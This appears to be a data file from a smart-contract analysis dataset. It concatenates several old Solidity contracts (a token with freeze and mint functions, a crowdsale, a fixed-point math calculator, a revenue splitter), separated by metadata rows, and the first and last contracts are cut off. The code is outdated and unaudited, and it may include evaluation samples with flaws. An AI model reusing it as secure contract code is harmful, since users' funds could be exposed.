bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
function splitSignature(bytes memory sig)
public
pure
returns (uint8, bytes32, bytes32)
{
require(sig.length == 65);
bytes32 r;
bytes32 s;
uint8 v;
assembly {
// first 32 bytes, after the length prefix
r := mload(add(sig, 32))
// second 32 bytes
s := mload(add(sig, 64))
// final byte (first byte of the next 32 bytes)
v := byte(0, mload(add(sig, 96)))
}
return (v, r, s);
}
function recoverSigner(bytes32 message, bytes memory sig)
public
pure
returns (address)
{
uint8 v;
bytes32 r;
bytes32 s;
(v, r, s) = splitSignature(sig);
return ecrecover(message, v, r, s);
}
function isValidData(string memory _word, bytes memory sig) public view returns(bool){
bytes32 message = keccak256(abi.encodePacked(_word));
return (recoverSigner(message, sig) == signerAddress);
}
function toByte(uint8 _uint8) public pure returns (bytes1) {
if(_uint8 < 10) {
return bytes1(_uint8 + 48);
} else {
return bytes1(_uint8 + 87);
}
}
bytes16 private constant _SYMBOLS = "0123456789abcdef";
uint8 private constant _ADDRESS_LENGTH = 20;
function _uint2str(uint256 value) internal pure returns (string memory) {
uint256 length = Math.log10(value) + 1;
string memory buffer = new string(length);
uint256 ptr;
/// @solidity memory-safe-assembly
assembly {
ptr := add(buffer, add(32, length))
}
while (true) {
ptr--;
/// @solidity memory-safe-assembly
assembly {
mstore8(ptr, byte(mod(value, 10), _SYMBOLS))
}
value /= 10;
if (value == 0) break;
}
return buffer;
}
function SetSigner(address _address) external onlyOwner{
signerAddress = _address;
}
}
| 34,988 | 11,355 |
71efae243ebdefe6a949e8366128a2d0a16b0f6488eae4cb4c9fe3b877cb680f
| 21,086 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.7/0xfb42adedfb7d300f214485e0ac00fd8e76bb6305.sol
| 2,807 | 9,912 |
pragma solidity ^0.4.25;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
//assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
//assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC20Basic is Pausable {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping (address => bool) public frozenAccount; //Accounts frozen indefinitely
mapping (address => uint256) public frozenTimestamp; //Limited frozen accounts
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(!frozenAccount[msg.sender]);
require(now > frozenTimestamp[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function freeze(address _target,bool _freeze) public returns (bool) {
require(msg.sender == owner);
require(_target != address(0));
frozenAccount[_target] = _freeze;
return true;
}
function multiFreeze(address[] _targets,bool[] _freezes) public returns (bool) {
require(msg.sender == owner);
require(_targets.length == _freezes.length);
uint256 len = _targets.length;
require(len > 0);
for (uint256 i = 0; i < len; i= i.add(1)) {
address _target = _targets[i];
require(_target != address(0));
bool _freeze = _freezes[i];
frozenAccount[_target] = _freeze;
}
return true;
}
function freezeWithTimestamp(address _target,uint256 _timestamp) public returns (bool) {
require(msg.sender == owner);
require(_target != address(0));
frozenTimestamp[_target] = _timestamp;
return true;
}
function multiFreezeWithTimestamp(address[] _targets,uint256[] _timestamps) public returns (bool) {
require(msg.sender == owner);
require(_targets.length == _timestamps.length);
uint256 len = _targets.length;
require(len > 0);
for (uint256 i = 0; i < len; i = i.add(1)) {
address _target = _targets[i];
require(_target != address(0));
uint256 _timestamp = _timestamps[i];
frozenTimestamp[_target] = _timestamp;
}
return true;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract StandardBurnableToken is BurnableToken, StandardToken {
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
//Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
//This method requires triggering an event with updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
contract MintableToken is StandardBurnableToken {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract PausableToken is StandardToken {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract LT_Token is CappedToken, PausableToken {
string public constant name = "LittleBeeX Token"; // solium-disable-line uppercase
string public constant symbol = "LT"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 0;
uint256 public constant MAX_SUPPLY = 50 * 10000 * 10000 * (10 ** uint256(decimals));
constructor() CappedToken(MAX_SUPPLY) public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function mint(address _to, uint256 _amount) onlyOwner canMint whenNotPaused public returns (bool) {
return super.mint(_to, _amount);
}
function finishMinting() onlyOwner canMint whenNotPaused public returns (bool) {
return super.finishMinting();
}
function withdraw (uint256 _amount) public returns (bool) {
require(msg.sender == owner);
msg.sender.transfer(_amount);
return true;
}
//The fallback function.
function() payable public {
revert();
}
}
| 219,124 | 11,356 |
6d52add1da4da5da3d6b5f9a837d741a227689d85e5f675a48c851d30fad0dd7
| 15,251 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/8575_8852_0x9765986db807b4abc6cc519a5b2511f357fae1dc.sol
| 2,608 | 9,574 |
// PPCrowdsale.sol
pragma solidity ^0.4.24;
library SafeMath {
int256 constant private INT256_MIN = -2**255;
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below
int256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0); // Solidity only automatically asserts when dividing by 0
require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow
int256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
contract APPCrowdsale is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// The token being sold
IERC20 private _token;
// Address where funds are collected
address private _wallet1;
address private _wallet2;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 private _rate;
// Amount of wei raised
uint256 private _weiRaised;
address private _owner;
uint256 constant private minRate = 50000000000;
uint256 private _minTokenSum = 0;
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor (uint256 rate, address wallet1, address wallet2, IERC20 token) public payable {
require(rate > 0);
require(wallet1 != address(0));
require(wallet2 != address(0));
require(token != address(0));
require (rate >= minRate);
_rate = rate;
_wallet1 = wallet1;
_wallet2 = wallet2;
_token = token;
_owner = msg.sender;
}
mapping (address => bool) private _trusted;
function addTrustedAddress(address trusted) public {
require(msg.sender == _owner);
_trusted[trusted] = true;
}
function removeTrustedAddress(address trusted) public {
require(msg.sender == _owner);
_trusted[trusted] = false;
}
function changeRate(uint256 newRate) public {
require (_trusted[msg.sender] == true);
require (newRate >= minRate);
_rate = newRate;
}
function changeMinTokenSum(uint256 minTokenSum) public {
require (_trusted[msg.sender] == true || msg.sender == _owner);
_minTokenSum = minTokenSum;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
function () external payable {
buyTokens(msg.sender);
}
function token() public view returns (IERC20) {
return _token;
}
function wallet1() public view returns (address) {
return _wallet1;
}
function wallet2() public view returns (address) {
return _wallet2;
}
function rate() public view returns (uint256) {
return _rate;
}
function minTokenSum() public view returns (uint256) {
return _minTokenSum;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function transferTo(address toAddress, uint256 tokenAmount) public {
require(msg.sender == _owner);
_token.safeTransfer(toAddress, tokenAmount);
}
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens);
// _updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
// _postValidatePurchase(beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
require(beneficiary != address(0));
require(weiAmount != 0);
require(weiAmount >= _rate);
require(_getTokenAmount(weiAmount) >= _minTokenSum);
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
_token.safeTransfer(beneficiary, tokenAmount);
}
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
_deliverTokens(beneficiary, tokenAmount);
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
return weiAmount.div(_rate);
}
function _forwardFunds() internal {
uint256 val1 = msg.value/2;
uint256 val2 = msg.value - val1;
_wallet1.transfer(val1);
_wallet2.transfer(val2);
}
function updateWallet(address newWallet1, address newWallet2) public {
require(msg.sender == _owner);
if (newWallet1 != address(0)) {
_wallet1 = newWallet1;
}
if (newWallet2 != address(0)) {
_wallet2 = newWallet2;
}
}
}
| 231,991 | 11,357 |
896ceaa18f4f92602da25fd4c78058fe6b81d34d0b4c553a6889a37f52071823
| 9,262 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x15231f21a6d599ef470593b0c42c278084cf293e.sol
| 5,208 | 9,201 |
pragma solidity 0.4.25;
interface IModelCalculator {
function isTrivialInterval(uint256 _alpha, uint256 _beta) external pure returns (bool);
function getValN(uint256 _valR, uint256 _maxN, uint256 _maxR) external pure returns (uint256);
function getValR(uint256 _valN, uint256 _maxR, uint256 _maxN) external pure returns (uint256);
function getNewN(uint256 _newR, uint256 _minR, uint256 _minN, uint256 _alpha, uint256 _beta) external pure returns (uint256);
function getNewR(uint256 _newN, uint256 _minN, uint256 _minR, uint256 _alpha, uint256 _beta) external pure returns (uint256);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ModelCalculator is IModelCalculator {
string public constant VERSION = "1.0.0";
using SafeMath for uint256;
uint256 public constant FIXED_ONE = 0x20000000000000000000000000000000;
uint256 public constant A_B_SCALE = 10000000000000000000000000000000000;
function isTrivialInterval(uint256 _alpha, uint256 _beta) external pure returns (bool) {
return _alpha == A_B_SCALE && _beta == 0;
}
function getValN(uint256 _valR, uint256 _maxN, uint256 _maxR) external pure returns (uint256) {
return _valR.mul(_maxN) / _maxR;
}
function getValR(uint256 _valN, uint256 _maxR, uint256 _maxN) external pure returns (uint256) {
return _valN.mul(_maxR) / _maxN;
}
function getNewN(uint256 _newR, uint256 _minR, uint256 _minN, uint256 _alpha, uint256 _beta) external pure returns (uint256) {
uint256 temp = pow(_newR.mul(FIXED_ONE), _minR, _alpha, A_B_SCALE);
return _alpha.mul(temp) / (_alpha.mul(FIXED_ONE) / _minN).add(_beta.mul(temp.sub(FIXED_ONE)));
}
function getNewR(uint256 _newN, uint256 _minN, uint256 _minR, uint256 _alpha, uint256 _beta) external pure returns (uint256) {
uint256 temp1 = _alpha.sub(_beta.mul(_minN));
uint256 temp2 = _alpha.sub(_beta.mul(_newN));
return pow((temp1.mul(FIXED_ONE) / temp2).mul(_newN), _minN, A_B_SCALE, _alpha).mul(_minR) / FIXED_ONE;
}
function pow(uint256 _a, uint256 _b, uint256 _c, uint256 _d) internal pure returns (uint256) {
return exp(log(_a / _b).mul(_c) / _d);
}
function log(uint256 _x) internal pure returns (uint256) {
uint256 res = 0;
uint256 y;
uint256 z;
uint256 w;
assert(_x < 0x282bcb7edf620be5a97bf8a6e89874720); // ensure that the input is smaller than e^3
if (_x >= 0x8f69ff327e2a0abedc8cb1a87d3bc87a) {res += 0x30000000000000000000000000000000; _x = _x * FIXED_ONE / 0x8f69ff327e2a0abedc8cb1a87d3bc87a;} // add 3 / 2^1
if (_x >= 0x43be76d19f73def530d5bb8fb9dc43e4) {res += 0x18000000000000000000000000000000; _x = _x * FIXED_ONE / 0x43be76d19f73def530d5bb8fb9dc43e4;} // add 3 / 2^2
if (_x >= 0x2e8f4a27b7ded4c468f16cb3612480b8) {res += 0x0c000000000000000000000000000000; _x = _x * FIXED_ONE / 0x2e8f4a27b7ded4c468f16cb3612480b8;} // add 3 / 2^3
if (_x >= 0x2699702e16b06a5a9c189196f8cc9268) {res += 0x06000000000000000000000000000000; _x = _x * FIXED_ONE / 0x2699702e16b06a5a9c189196f8cc9268;} // add 3 / 2^4
if (_x >= 0x232526e0e9c19ad127a319b7501d5785) {res += 0x03000000000000000000000000000000; _x = _x * FIXED_ONE / 0x232526e0e9c19ad127a319b7501d5785;} // add 3 / 2^5
if (_x >= 0x2189246d053d1785259fcc7ac9652bd4) {res += 0x01800000000000000000000000000000; _x = _x * FIXED_ONE / 0x2189246d053d1785259fcc7ac9652bd4;} // add 3 / 2^6
if (_x >= 0x20c24486c821ba29cacb3aebd2b6edc3) {res += 0x00c00000000000000000000000000000; _x = _x * FIXED_ONE / 0x20c24486c821ba29cacb3aebd2b6edc3;} // add 3 / 2^7
if (_x >= 0x206090906c40ed411b2823439dced945) {res += 0x00600000000000000000000000000000; _x = _x * FIXED_ONE / 0x206090906c40ed411b2823439dced945;} // add 3 / 2^8
if (_x >= 0x2030241206c206e81bcab23d632c0b35) {res += 0x00300000000000000000000000000000; _x = _x * FIXED_ONE / 0x2030241206c206e81bcab23d632c0b35;} // add 3 / 2^9
assert(_x >= FIXED_ONE);
z = y = _x - FIXED_ONE;
w = y * y / FIXED_ONE;
res += z * (0x40000000000000000000000000000000 - y) / 0x040000000000000000000000000000000; z = z * w / FIXED_ONE; // add y^01 / 01 - y^02 / 02
res += z * (0x2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa - y) / 0x080000000000000000000000000000000; z = z * w / FIXED_ONE; // add y^03 / 03 - y^04 / 04
res += z * (0x26666666666666666666666666666666 - y) / 0x0c0000000000000000000000000000000; z = z * w / FIXED_ONE; // add y^05 / 05 - y^06 / 06
res += z * (0x24924924924924924924924924924924 - y) / 0x100000000000000000000000000000000; z = z * w / FIXED_ONE; // add y^07 / 07 - y^08 / 08
res += z * (0x238e38e38e38e38e38e38e38e38e38e3 - y) / 0x140000000000000000000000000000000; z = z * w / FIXED_ONE; // add y^09 / 09 - y^10 / 10
res += z * (0x22e8ba2e8ba2e8ba2e8ba2e8ba2e8ba2 - y) / 0x180000000000000000000000000000000; z = z * w / FIXED_ONE; // add y^11 / 11 - y^12 / 12
res += z * (0x22762762762762762762762762762762 - y) / 0x1c0000000000000000000000000000000; z = z * w / FIXED_ONE; // add y^13 / 13 - y^14 / 14
res += z * (0x22222222222222222222222222222222 - y) / 0x200000000000000000000000000000000; // add y^15 / 15 - y^16 / 16
return res;
}
function exp(uint256 _x) internal pure returns (uint256) {
uint256 res = 0;
uint256 y;
uint256 z;
z = y = _x % 0x4000000000000000000000000000000; // get the input modulo 2^(-3)
z = z * y / FIXED_ONE; res += z * 0x10e1b3be415a0000; // add y^02 * (20! / 02!)
z = z * y / FIXED_ONE; res += z * 0x05a0913f6b1e0000; // add y^03 * (20! / 03!)
z = z * y / FIXED_ONE; res += z * 0x0168244fdac78000; // add y^04 * (20! / 04!)
z = z * y / FIXED_ONE; res += z * 0x004807432bc18000; // add y^05 * (20! / 05!)
z = z * y / FIXED_ONE; res += z * 0x000c0135dca04000; // add y^06 * (20! / 06!)
z = z * y / FIXED_ONE; res += z * 0x0001b707b1cdc000; // add y^07 * (20! / 07!)
z = z * y / FIXED_ONE; res += z * 0x000036e0f639b800; // add y^08 * (20! / 08!)
z = z * y / FIXED_ONE; res += z * 0x00000618fee9f800; // add y^09 * (20! / 09!)
z = z * y / FIXED_ONE; res += z * 0x0000009c197dcc00; // add y^10 * (20! / 10!)
z = z * y / FIXED_ONE; res += z * 0x0000000e30dce400; // add y^11 * (20! / 11!)
z = z * y / FIXED_ONE; res += z * 0x000000012ebd1300; // add y^12 * (20! / 12!)
z = z * y / FIXED_ONE; res += z * 0x0000000017499f00; // add y^13 * (20! / 13!)
z = z * y / FIXED_ONE; res += z * 0x0000000001a9d480; // add y^14 * (20! / 14!)
z = z * y / FIXED_ONE; res += z * 0x00000000001c6380; // add y^15 * (20! / 15!)
z = z * y / FIXED_ONE; res += z * 0x000000000001c638; // add y^16 * (20! / 16!)
z = z * y / FIXED_ONE; res += z * 0x0000000000001ab8; // add y^17 * (20! / 17!)
z = z * y / FIXED_ONE; res += z * 0x000000000000017c; // add y^18 * (20! / 18!)
z = z * y / FIXED_ONE; res += z * 0x0000000000000014; // add y^19 * (20! / 19!)
z = z * y / FIXED_ONE; res += z * 0x0000000000000001; // add y^20 * (20! / 20!)
res = res / 0x21c3677c82b40000 + y + FIXED_ONE; // divide by 20! and then add y^1 / 1! + y^0 / 0!
if ((_x & 0x004000000000000000000000000000000) != 0) res = res * 0x70f5a893b608861e1f58934f97aea5816 / 0x63afbe7ab2082ba1a0ae5e4eb1b479e04; // multiply by e^2^(-3)
if ((_x & 0x008000000000000000000000000000000) != 0) res = res * 0x63afbe7ab2082ba1a0ae5e4eb1b479e11 / 0x4da2cbf1be5827f9eb3ad1aa9866ebb76; // multiply by e^2^(-2)
if ((_x & 0x010000000000000000000000000000000) != 0) res = res * 0x4da2cbf1be5827f9eb3ad1aa9866ebb8b / 0x2f16ac6c59de6f8d5d6f63c1482a7c89d; // multiply by e^2^(-1)
if ((_x & 0x020000000000000000000000000000000) != 0) res = res * 0x2f16ac6c59de6f8d5d6f63c1482a7c8a1 / 0x1152aaa3bf81cb9fdb76eae12d0295732; // multiply by e^2^(+0)
if ((_x & 0x040000000000000000000000000000000) != 0) res = res * 0x1152aaa3bf81cb9fdb76eae12d029572c / 0x02582ab704279e8efd15e0265855c47ab; // multiply by e^2^(+1)
if ((_x & 0x080000000000000000000000000000000) != 0) res = res * 0x02582ab704279e8efd15e0265855c4792 / 0x000afe10820813d65dfe6a33c07f738f5; // multiply by e^2^(+2)
assert(_x < 0x100000000000000000000000000000000); // ensure that the input is smaller than 2^(+3)
return res;
}
}
| 275,812 | 11,358 |
1b457e3505d7e037d511790b5baf179097965331a25b76678e472f214482d962
| 11,931 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/cf/Cf34BD1F3f986450CE8b1273E3aD154C5D2574a5_RSPLT_I.sol
| 3,238 | 11,012 |
pragma solidity ^0.4.11;
// --------------------------
// R Split Contract
// --------------------------
contract RSPLT_I {
event StatEvent(string msg);
event StatEventI(string msg, uint val);
enum SettingStateValue {debug, locked}
struct partnerAccount {
uint credited; // total funds credited to this account
uint balance; // current balance = credited - amount withdrawn
uint pctx10; // percent allocation times ten
address addr; // payout addr of this acct
bool evenStart; // even split up to evenDistThresh
}
// -----------------------------
// data storage
// ----------------------------------------
address public owner; // deployer executor
mapping (uint => partnerAccount) partnerAccounts; // accounts by index
uint public numAccounts; // how many accounts exist
uint public holdoverBalance; // amount yet to be distributed
uint public totalFundsReceived; // amount received since begin of time
uint public totalFundsDistributed; // amount distributed since begin of time
uint public totalFundsWithdrawn; // amount withdrawn since begin of time
uint public evenDistThresh; // distribute evenly until this amount (total)
uint public withdrawGas = 35000; // gas for withdrawals
uint constant TENHUNDWEI = 1000; // need gt. 1000 wei to do payout
uint constant MAX_ACCOUNTS = 5; // max accounts this contract can handle
SettingStateValue public settingsState = SettingStateValue.debug;
// --------------------
// contract constructor
// --------------------
function RSPLT_I() {
owner = msg.sender;
}
// --------------------
// recieve money from contract
// --------------------
function send() public payable {}
// -----------------------------------
// lock
// lock the contract. after calling this you will not be able to modify accounts.
// make sure everyhting is right!
// -----------------------------------
function lock() {
if (msg.sender != owner) {
StatEvent("err: not owner");
return;
}
if (settingsState == SettingStateValue.locked) {
StatEvent("err: locked");
return;
}
settingsState = SettingStateValue.locked;
StatEvent("ok: contract locked");
}
// -----------------------------------
// reset
// reset all accounts
// in case we have any funds that have not been withdrawn, they become
// newly received and undistributed.
// -----------------------------------
function reset() {
if (msg.sender != owner) {
StatEvent("err: not owner");
return;
}
if (settingsState == SettingStateValue.locked) {
StatEvent("err: locked");
return;
}
for (uint i = 0; i < numAccounts; i++) {
holdoverBalance += partnerAccounts[i].balance;
}
totalFundsReceived = holdoverBalance;
totalFundsDistributed = 0;
totalFundsWithdrawn = 0;
numAccounts = 0;
StatEvent("ok: all accts reset");
}
// -----------------------------------
// set even distribution threshold
// -----------------------------------
function setEvenDistThresh(uint256 _thresh) {
if (msg.sender != owner) {
StatEvent("err: not owner");
return;
}
if (settingsState == SettingStateValue.locked) {
StatEvent("err: locked");
return;
}
evenDistThresh = (_thresh / TENHUNDWEI) * TENHUNDWEI;
StatEventI("ok: threshold set", evenDistThresh);
}
// -----------------------------------
// set even distribution threshold
// -----------------------------------
function setWitdrawGas(uint256 _withdrawGas) {
if (msg.sender != owner) {
StatEvent("err: not owner");
return;
}
withdrawGas = _withdrawGas;
StatEventI("ok: withdraw gas set", withdrawGas);
}
// ---------------------------------------------------
// add a new account
// ---------------------------------------------------
function addAccount(address _addr, uint256 _pctx10, bool _evenStart) {
if (msg.sender != owner) {
StatEvent("err: not owner");
return;
}
if (settingsState == SettingStateValue.locked) {
StatEvent("err: locked");
return;
}
if (numAccounts >= MAX_ACCOUNTS) {
StatEvent("err: max accounts");
return;
}
partnerAccounts[numAccounts].addr = _addr;
partnerAccounts[numAccounts].pctx10 = _pctx10;
partnerAccounts[numAccounts].evenStart = _evenStart;
partnerAccounts[numAccounts].credited = 0;
